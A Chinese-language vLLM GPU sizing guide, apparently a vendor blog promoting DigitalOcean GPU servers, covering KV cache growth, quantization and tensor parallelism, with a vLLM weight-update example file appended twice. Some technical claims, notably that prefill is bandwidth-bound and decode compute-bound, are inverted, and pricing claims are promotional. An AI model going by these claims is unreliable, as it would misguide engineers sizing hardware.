在 Transformer 中，每个 token 都会在注意力层内被转换为 Key（K） 和 Value（V） 向量。 如果没有缓存机制，模型在生成第 t+1 个 token 时，就必须重新处理整个历史序列（token 0 … t）。

解决方案：KV Cache

KV Cache 的作用正是把这些已经计算过的 K / V 向量保存下来并重复利用。

• Prefill 阶段： vLLM 会一次性为所有输入提示词计算 K / V，并立即写入缓存。
• Decode 阶段：每生成一个新 token，只需从缓存中读取历史 K / V，并仅为这个新 token 计算新的 K / V。

带来的收益

这种机制将注意力计算：

• 从近似二次复杂度（为了写下每一个字，都要把整本书重新读一遍）
• 转变为线性复杂度（只需要写下下一个字）

代价：动态内存增长

性能提升的代价是 ​显存占用​。

每生成一个新 token，KV Cache 中都会追加新的条目。运行时，KV Cache 的使用量会随着以下因素动态增长：

• Prompt 长度与输出长度对话越长，占用的 VRAM 越多。
• ​并发请求数（Concurrency每一个活跃请求都需要自己独立的一份 KV Cache。
• 模型规模模型越深（层数越多）、越宽（注意力头越多），​每个 token 所需的缓存就越大​。

这正是为什么人们经常说，使用同一个模型的两个工作负载，可能对硬件的需求却天差地别。

例如：一个 70B 模型 本身也许能放进单张 GPU，但如果在长对话中 KV Cache 持续膨胀，服务器仍然可能因为 ​显存​耗尽（​​OOM）而直接崩溃​。

因此，在生产环境中，理解并管理内存​​行为是部署 LLM 的核心能力之一​，这一点在我们卓普云官网博客中的《LLM 微调与部署指南》中也有详细说明。

资源配置基础：模型、精度与硬件如何决定适配性

理解 vLLM 的运行时行为后，下一步是确定模型能否在给定 GPU 上运行，以及它能支持怎样的并发级别或上下文长度。

本节将提供所需的数学公式与决策树，用于计算静态内存需求、估算 KV 缓存增长，并系统性地排查和确定适配问题。

GPU 硬件特性与约束

在计算模型大小之前，首先必须理解我们要把模型放进的“容器”是什么。不同的 GPU 在可行性与性能上都有各自明确的硬性限制。

常见数据中心 GPU 的显存容量

以下是当前主流推理 GPU 的物理显存​​上限​，也是模型部署时不可突破的硬限制。

vLLM 推理与训练的 GPU 对比：

即使模型本身能够装入显存，​GPU​ 架构差异仍会显著影响 vLLM 的实际性能​。需要重点关注以下指标：

模型权重占用（静态显存）

在 vLLM 能够对外提供推理服务之前，模型必须先将全部权重加载进 GPU 显存（VRAM）。

权重大小完全取决于模型的参数数量以及所选择的数值精度。

静态权重计算公式

模型所需的显存容量（GB）可以使用以下公式进行估算：

​显存​（​GB）≈ 参数量（十亿） × 每个参数所占字节数

下表展示了 Llama 3.1 70B（700 亿参数）模型在不同量化精度下的显存占用情况：

精度选择是决定模型是否可部署的​最关键因素​​。

将一个 70B 模型从 FP16 量化为 INT4，可将静态显存占用减少 ​75%​，使其从“单节点无法运行”变为“可在单张 A100 上运行”。

因此，在 DigitalOcean GPU 服务器等云环境中，量化是实现高性价比部署的必要手段。

KV Cache 需求（动态显存）

如果说模型权重决定模型是否能够启动，那么 ​KV​ Cache 决定模型是否能够扩展​。

KV Cache 往往被严重低估，这也是推理负载下最常见的 OOM 原因之一。

要准确评估部署规模，必须根据预期的上下文长度与并发请求数，估算 KV Cache 的显存消耗。

“现场经验法则”（快速估算）

在大多数实际业务场景中，精确公式并不适合即时计算。

因此通常采用“每 token ​显存​​系数​”的方法进行估算，该方式足以支撑初步容量判断。

简化 ​KV​​ Cache 公式：

KV​ Cache 总​​显存​（​MB） = Token 总数 × 显存系数

其中：Token 总数 = 上下文长度 × 并发请求数

标准显存系数如下表所示：

示例

我们假设，某用户计划运行：

• 模型：Llama 3 70B
• 上下文长度：32k
• 并发用户数：10

​计算 Token 总数：​32,000 × 10 = 320,000 tokens

​套用标准系数（0.35）：​320,000 × 0.35 MB = 112,000 MB ≈ 112 ​GB

​FP8 选项验证：​若启用 FP8 量化缓存，显存占用将降至一半：约​ 56 ​GB

最终配置方案：

• FP16 缓存方案：112 GB KV 缓存 + 140 GB 模型权重 = 总计 252 GB（需 4 块 H100 GPU）
• FP8 缓存方案：56 GB KV 缓存 + 140 GB 模型权重 = 总计 196 GB （可部署于​3 块 H100​；若模型权重同步量化，2 块 H100 亦可勉强容纳）

精确计算工具与公式

针对边界场景或深度验证，请使用专业公式或在线计算器：

• 在线工具：LMCache KV Calculator
• 标准公式：

总KV缓存 (GB) = (2 × 模型层数 × 模型维度 × 序列长度 × 批大小 × 精度字节数) / 1024³

何时需要使用 Tensor Parallelism（张量并行）

Tensor Parallelism（TP）是一种将模型权重矩阵拆分到多张 GPU 上的技术。

它可以让 vLLM 将多张 GPU 视为一张“逻辑大卡”，共享显存资源。

为什么要使用张量并行？张量并行的主要目标是​可行性，而非性能优化​。

通常在以下场景中启用：

1、模型权重超限：模型体量超过单卡物理承载极限（例如：24GB 显存的 GPU 无法加载 Llama 3 70B 模型）

2、KV 缓存空间耗尽：模型权重虽可加载，但未预留任何 KV 缓存空间，导致无法处理长上下文或高并发请求

虽然张量并行（TP）能极大释放显存，但它也引入了通信开销。在每一层计算完成后，所有 GPU 必须同步它们的部分计算结果。

• 单 GPU 适配情况：如果一个模型能在单张 GPU 上运行，那么使用单 GPU 几乎总是比使用双 GPU 更快，因为它完全避免了通信开销。
• 互联依赖：TP 的性能高度依赖于高速的 GPU 间通信带宽。如果在没有 NVLink 的显卡上使用 TP（例如仅通过标准 PCIe 连接），由于同步延迟，推理速度可能会显著下降。

若需部署多 GPU 环境，可考虑使用 DigitalOcean Kubernetes 来编排 vLLM 服务。

数值实测：资源配置场景分析

在进入高级配置前，让我们将前几节的数学计算应用到实际场景中。这有助于验证我们对“适配性”的理解，并揭示纯计算中常被忽略的实际约束。

隐藏的显存开销

一个常见的错误是计算 \` 权重 + 缓存 = 总显存需求\`，并假设可以达到 100% 的利用率。实际情况并非如此。

• ​CUDA上下文与运行时开销​：GPU 驱动、PyTorch 和 vLLM 运行时本身就需要预留内存来初始化（通常为 2-4 GB）。
• ​激活缓冲区​：前向传播过程中用于存储中间计算结果的临时空间。
• ​安全配置原则​：务必预留约 4-5 ​GB​的显存作为“不可用”的系统开销。如果你的计算结果显示仅剩 0.5 GB 可用，服务器很可能会崩溃。

场景 A：轻松适配（标准聊天）

• ​硬件​：1x NVIDIA L40S（48 GB 显存）
• ​模型​：Llama 3 8B（FP16 精度）

• ​计算​：

  • 权重：80 亿参数 x 2 字节 = 16 ​GB
  • 系统开销：-4 ​GB
  • 可供缓存的剩余显存：48 - 16 - 4 = 28 ​GB
  • 缓存容量估算：28,000 MB / 0.15 MB 每 Token = 约 186,000Token

​结论​：​适配极佳。​此配置可应对大规模负载（例如，60 个并发用户，每人 3k 上下文）。

​结果​：高吞吐量，低成本。

​场景 B：“权重超标”（大模型​​，单GPU​）

• ​硬件​：1x NVIDIA H100（80 GB 显存）
• ​模型​：Llama 3 70B（FP16 精度）
• ​计算​：

权重：700 亿参数 x 2 字节 = 140 ​GB

​结论​：​完全无法适配。​模型权重（140 GB）已超过 GPU 物理容量（80 GB）。

​要想解决这个问题，​必须使用​张量并行​​（2x ​GPU​） 或量化技术（见第 3 节）。

场景 C：“缓存陷阱”（模型能加载，但无法运行）

• ​硬件​：1x NVIDIA H100（80 GB 显存）
• ​模型​：Llama 3 70B（FP8 量化精度）

• ​计算​：

  • 权重：700 亿参数 x 1 字节 = 70 ​GB
  • 系统开销：-4 ​GB
  • 可供缓存的剩余显存：80 - 70 - 4 = 6 ​GB
  • 缓存容量估算：6,000 MB / 0.175 MB 每 Token (FP8) = 总计约 34,000Token

​结论​：​有风险 / 适配性差。​模型可以加载，但几乎没有可用的工作空间。

如果现在有 10 个并发用户，每人仅能分配到约 3.4k 上下文。一旦有用户粘贴长文档（4k Token），系统就会因显存不足而崩溃。

这个场景给我们一个启发，即权重能放下，不代表工作负载能运行。 此场景通常需要增加 GPU 或选择更小的模型。

场景 D：解决方案（张量​并行）

让我们通过增加第二张 GPU 来解决场景 C 中的“缓存陷阱”。这展示了张量并行（TP）如何整合内存资源。

• ​硬件​：2x NVIDIA H100（每张 80 GB 显存 = 总计 160 GB 可用）
• ​模型​：Llama 3 70B（FP8 量化精度）

• ​计算​：

  • 总可用显存：160 ​GB
  • 权重：​-70 ​GB​（分摊到两张 GPU 上）
  • 系统开销：​-8 ​GB​（每张 GPU 约 4 GB）
  • 可供缓存的剩余显存：160 - 70 - 8 = 82 ​GB
  • 缓存容量估算：82,000 MB / 0.175 MB 每 Token (FP8) = 总计约 468,000Token

​结论​：​可用于生产环境。​通过增加第二张 GPU，我们从“仅有风险性的 6 GB”缓存空间，提升到了“充裕的 82 GB”。

对于 10 个并发用户情况，现在每人可获得约​46k 上下文​。显存不足的风险已消除，该部署可以轻松应对 RAG 或长文档处理。

量化：“压缩”模型的艺术

正如前文资源配置场景所示，VRAM 是 LLM 推理的主要瓶颈。量化是一种通过降低数字表示精度的技术，用微小的精度损失换取内存效率和速度的大幅提升。

关键在于区分 vLLM 中使用的两种量化类型，因为它们针对不同的约束条件。

类型一：模型权重量化（"静态"优化方案）

这涉及在加载预训练模型之前，对其庞大、静态的权重矩阵进行压缩。

• ​目的​：使模型能够适配到其全精度权重原本会超过 VRAM 容量的 GPU 上。
• ​vLLM 实现方式​：虽然 vLLM 可以在启动时动态量化权重，但通常更高效的做法是直接加载已经使用 AWQ（激活感知权重量化）或 GPTQ 等高性能内核预量化好的模型。这些专用格式相比通用的即时转换，能提供更好的精度保持和更快的解码速度。
• ​影响​：将静态 VRAM 占用减少 50%（FP8/INT8）至 75%（INT4/AWQ），从而显著增加用于 KV 缓存的剩余 VRAM。

类型二：KV​缓存量化（"动态"优化方案）

这涉及在序列生成过程中，对存储在内存中的中间键（Key）和值（Value）状态进行压缩。

• ​目的​：使模型能够扩展以支持更高的并发批处理量或更长的上下文窗口。
• ​vLLM 实现方式​：通过运行时参数 (--kv-cache-dtype) 控制。
• ​建议​：对于支持 FP8 张量核心的现代硬件（如 NVIDIA H100, L40S, AMD MI300X，在 DigitalOcean 云平台上你可以找到这些 GPU 服务器，而且价格低于 AWS、谷歌云 GCP，详情可咨询 DigitalOcean 中国区独家战略合作伙伴卓普云 AI Droplet。），强烈建议启用 FP8 ​KV​​缓存​。它能以对模型质量几乎可忽略的影响，将可用上下文容量翻倍。
• ​影响​：将第 2 节中讨论的每个 token 的内存需求减半（例如，将 70B 模型的乘数从约 0.35 MB/token 降至约 0.175 MB/token）。

vLLM ​GPU​精度格式

并非所有量化格式都是相同的。选择取决于可用的硬件架构以及模型大小与精度之间的期望平衡。

策略性应用与权衡

决定何时应用量化需要在实际约束与工作负载敏感性之间取得平衡。量化虽强大，但涉及在部署规划时必须考虑的根本性权衡。

关键考量因素：精度与硬件

在确定具体场景前，请考虑以下两个基础约束：

1. ​精度 vs. 压缩率​：激进的量化（如 INT4）可能会降低在涉及复杂推理或代码生成的敏感任务上的性能。对于大多数聊天和 RAG 用例，FP8 通常被认为是安全的。
2. ​硬件兼容性​：所选格式必须与硬件能力匹配。例如，FP8 量化需要配备 FP8 张量核心的 GPU（NVIDIA Ada/Hopper 或 AMD CDNA3 架构）才能实现性能提升。

何时应推荐使用量化

基于上述权衡，量化适用于广泛的现实场景，并且在企业环境中经常是默认选择：

• 无法以FP16​​格式运行的大模型​：对于 70B 级别的大模型，要在单张 48GB 或 80GB GPU 上部署，INT4/INT8 通常是唯一途径。
• ​高并发工作负载​：减少的 VRAM 占用为 KV 缓存释放了大量空间，从而支持更多活跃序列和更长的提示词。
• ​RAG 和企业聊天应用​：这些工作负载通常能很好地容忍微小的精度偏差，而不会影响最终用户体验。
• ​成本优化​：量化使得工作负载可以在更小、更便宜的 GPU 型号上运行，同时保持可接受的性能。这在 DigitalOcean GPU Droplets 上部署时也很有价值，因为您可以根据具体需求来平衡性能与成本。

何时应避免使用量化

量化并非普遍适用。有些工作负载对精度损失高度敏感，应尽可能保持在 FP16/BF16 精度：

• ​代码生成与调试​：较低的精度可能会削弱结构化推理能力，导致细微的语法错误或逻辑缺陷。
• ​数学、金融和科学查询​：需要精确计算的任务显著受益于更高精度的格式，以避免舍入误差。
• 评估、基准测试​​或回归测试​：微小的精度漂移可能导致不同模型版本或设置之间的比较失效。
• 涉及多步推理的智能体​​工作流​：多个步骤中的累积误差可能会降低系统的整体可靠性和任务完成率。

整合实践：从需求到部署方案

至此，我们已经探讨了 vLLM 的运行时行为（第 1 节）、内存基础原理（第 2 节）以及量化策略（第 3 节）。

本节将这些概念连接成一个可重复的决策框架。它将引导你从理论走向实践，提供一个结构化的工作流程，用于评估可行性、选择硬件并制定部署计划。

第一步：资源配置需求问卷

要准确配置 vLLM 部署，必须从工作负载描述中提取具体的技术细节。像“快速推理”这样的抽象目标是不够的。使用以下五个问题来收集必要的数据：

1. “您需要支持的最大上下文长度是多少？”
   ​原因​​：决定 KV 缓存大小（进而决定 OOM 风险）。
2. “您的目标并发量（同时在线用户数）是多少？”
   ​原因​​：KV 缓存需求会成倍增加。
3. “可接受的延迟是多少（首 Token 时间TTFT​和每秒生成 Token 数）？”
   ​原因​​：决定您是需要高带宽（H100）还是仅需足够容量（L40S）。
4. “模型精度是否关键（数学/代码），还是‘够用就好’即可（聊天）？”
   ​原因​​：决定您是否可以使用量化（INT4/FP8）来节省成本。
5. “您是否有严格的预算限制？”
   ​原因​​：帮助在优化极致速度（H100）与性价比（L40S）之间做出抉择。

第二步：选择模型大小与精度

需求明确后，确定能满足质量要求的最小的模型和最高的精度。

• ​精度是调节杠杆​：更低的精度（INT4/FP8）使得在更便宜的硬件上运行大模型成为可能。
• ​70B 法则​：FP16 精度的 70B 模型需要特殊硬件（多 GPU）。而 INT4 精度的同一模型则可以在普通硬件（单 GPU）上运行。

• ​指导原则​：
  ​聊天/助理​：使用 INT4 或 FP8。

  ​代码/推理​：使用 FP16 或 FP8（避免 INT4）。

第三步：硬件可行性检查

使用第 2 节的数学方法进行适配性验证。

1. ​静态适配（权重）​：参数量 * 精度字节数 是否能在 VRAM 中放下？
   ​如果不能​：进行量化（第二步）或增加 GPU（张量并行）。
2. ​动态适配（缓存）​：是否有足够空间容纳 上下文长度 * 并发数 * 每 Token 内存系数？
   ​如果不能​：降低并发数、缩短上下文长度，或启用 FP8 KV 缓存。

3. ​工作负载适配（带宽）​：
   ​长文本 RAG/摘要​：需要高带宽（H100/A100）。

   ​标准聊天​：需要高算力（L40S）。

第四步：推荐GPU​策略

可行性确认后，选择具体的 GPU 型号。可参考以下“速查表”应对常见场景。DigitalOcean 平台可提供以下表格中所有型号的 GPU（其中 B300 GPU 将在 2026 年初上线，可联系卓普云 AI Droplet 进行预约测试）。

第五步：使用指标进行验证

纸上计算并非完美。

• ​检查TTFT​：如果过高，说明预填充阶段存在瓶颈（带宽饱和）。
• ​检查 Token 间延迟​：如果过高，可能是批次大小设置过于激进（计算饱和）。
• 检查KV​​缓存使用率​：如果持续 >90%，则存在 OOM 风险，应启用分块预填充或降低并发数。

常见问题解答

1. 运行LLM​推理需要多少GPU​显存？

GPU 显存需求取决于模型大小、精度、上下文长度和并发量。一个粗略的经验法则是：仅就权重而言，FP16 模型每 10 亿参数约需要 2GB。因此，一个 70B 的模型，FP16 权重需要 140GB，但使用 INT4 量化后仅需 35GB。此外，还必须考虑 KV 缓存的内存占用，它会随上下文长度和并发用户数增长。例如，对于一个 70B 模型，32k 上下文长度和 10 个并发用户，FP16 缓存约需 112GB，而 FP8 缓存约需 56GB。

2. vLLM 中张量​并行与流水线并行有何区别？

​张量并行​：将模型权重矩阵在同一层内切分到多个 GPU 上，允许多个 GPU 同时处理同一计算。这整合了显存资源，但需要在每层计算后进行同步，从而引入通信开销。

​流水线并行​：将模型各层按顺序分配到不同 GPU 上，每个 GPU 处理不同的层。

TP 通常用于单个 GPU 无法容纳整个模型时，而 PP 更常见于训练场景。对于推理任务，当模型超出单 GPU 容量时，TP 是标准的处理方法。

3. 在 vLLM 部署中，何时应使用量化技术？

在以下情况推荐使用量化：模型无法在可用显存中加载时；需要支持更高并发或更长上下文窗口时；或者成本优化是优先考虑事项时。FP8 量化是现代硬件（H100, L40S, MI300X）的理想选择，精度损失极小。INT4 量化是在较小 GPU 上运行大模型的必要手段，但在代码生成、数学及科学计算等对精度敏感的任务中应避免使用。对于聊天和 RAG 类工作负载，量化通常是默认选择。

4. 如何计算KV​缓存的内存​需求？

可以使用每 token 乘数法进行快速估算：将总 token 数（上下文长度 × 并发量）乘以模型特定的系数。对于小型模型（7B-14B），FP16 缓存系数约为 0.15 MB/token，FP8 约为 0.075 MB/token。对于大型模型（70B-80B），FP16 缓存系数约为 0.35 MB/token，FP8 约为 0.175 MB/token。如需精确计算，可使用公式：总 KV 缓存 = (2 × 层数 × 模型维度 × 序列长度 × 批次大小 × 精度字节数) / (1024³)，或使用在线工具如 LMCache KV Calculator。

5. 我可以在 DigitalOcean ​GPU​​ Droplets 上运行 vLLM 吗？

可以，vLLM 可以部署在 DigitalOcean GPU Droplets 上。DigitalOcean 提供的搭载 NVIDIA GPU 的 Droplets 能够满足 vLLM 的运行要求。部署时，请确保所选 GPU 的显存足以支撑您的模型大小和工作负载。对于追求成本效益的部署，可以考虑使用量化模型（INT4 或 FP8）以便在较小的 GPU 实例上运行更大的模型。DigitalOcean 的 GPU Droplets 提供 NVLink 连接，这在多 GPU 使用张量并行时对保证效率至关重要。

vLLM ​GPU​推理的实际应用场景

基于对模型大小、精度、GPU 架构、KV 缓存及批处理等因素如何影响性能的基础理解，在接下来的教程中，我们将把这些概念应用到实际的 vLLM 工作负载中。

针对每个用例，我们将围绕三个核心问题来确定最优配置方案：

1. ​工作负载定义​：其核心特征是什么？（例如，提示词长度与输出长度、并发量、延迟敏感性）。
2. ​资源配置优先级​：哪些因素是瓶颈？（例如，权重与 KV 缓存之争、带宽与算力之争）。
3. ​配置模式​：哪些具体的参数设置和硬件选择能确保稳定可靠的性能？

用例一：交互式聊天与智能助手

• ​关注点​：​低延迟（受解码阶段限制）​。
• ​目标​：为用户提供流畅的流式输出和快速的“打字速度”体验。
• ​关键约束​：计算能力与​Token 间延迟​。

用例二：高吞吐量​批处理

• ​关注点​：​最大吞吐量​​（受计算限制）​。
• ​目标​：为离线任务（如摘要生成）实现每小时处理数百万 Token。
• ​关键约束​：​系统总吞吐量​。

用例三：RAG 与长上下文推理

• ​关注点​：上下文容量（受内存​​限制）​。
• ​目标​：将海量文档或历史记录加载到内存中而不致崩溃。
• ​关键约束​：显存容量与​内存带宽​。

小结

为 vLLM 合理配置 GPU 资源，需要深入理解模型大小、精度、上下文长度和并发量之间的根本性权衡。预填充阶段和解码阶段对硬件有不同的需求：预填充阶段需要高内存带宽，而解码阶段则需要高计算吞吐量。量化技术是在现有硬件上运行大型模型的核心调节手段，而张量并行则能突破单 GPU 的限制，实现横向扩展。

成功部署的关键在于​将您的工作负载特性与正确的硬件配置相匹配​。交互式聊天应用优先考虑算力以实现快速 Token 生成，而 RAG 和长上下文工作负载则需要巨大的显存容量和高内存带宽。遵循本指南概述的资源配置框架，您可以系统地评估可行性、选择合适的硬件，并为生产环境中的工作负载优化您的 vLLM 部署。

接下来你还可以

准备好在 GPU 基础设施上部署 vLLM 了吗？你可以通过以下资源快速开始：

在 DigitalOcean GPU Droplets 上部署

通过在 DigitalOcean ​GPU​​ Droplets 上实际部署 vLLM，获得第一手使用体验。你可以在 DigitalOcean 官方文档中学习如何搭建运行环境，并对 vLLM 进行性能优化配置。你也可以通过以下 DigitalOcean 发布在卓普云官网的教程与实践总结，学习更多经验：

• 在 AMD GPU Droplet 上运行 GPT-OSS vLLM
• 使用 DigitalOcean GPU Droplets 以更低成本进行大模型微调
• 探索深度学习工作负载的 GPU 性能优化技术
• 了解两千万用户的 Character.ai 如何将推理吞吐量提升 2 倍

体验 DigitalOcean 产品

• ​GPU Droplets：面向 AI 与机器学习任务的高性能 GPU 实例
• ​DigitalOcean Kubernetes：在多节点环境中编排并扩展 vLLM 部署
• ​DigitalOcean App Platform：轻松部署并管理你的大模型应用

如需更多技术指南与最佳实践，欢迎访问 DigitalOcean 英文官网，或咨询 DigitalOcean 中国区独家战略合作伙伴卓普云（aidroplet.com）。

vLLM 是一款专为大语言模型推理加速而设计的框架，实现了 KV 缓存内存几乎零浪费，解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程：零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组，
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`，然后初始化
    外部（训练进程）与 vLLM 工作进程之间的数据平面通信（NCCL）。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类，无论底层工作进程类是什么，代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意：我们在单独模块中定义此类，主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类，无论底层工作进程类是什么，代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意：我们在单独模块中定义此类，主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID，
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated

vLLM 是一款专为大语言模型推理加速而设计的框架，实现了 KV 缓存内存几乎零浪费，解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程：零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组，
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`，然后初始化
    外部（训练进程）与 vLLM 工作进程之间的数据平面通信（NCCL）。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类，无论底层工作进程类是什么，代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意：我们在单独模块中定义此类，主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类，无论底层工作进程类是什么，代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意：我们在单独模块中定义此类，主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID，
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated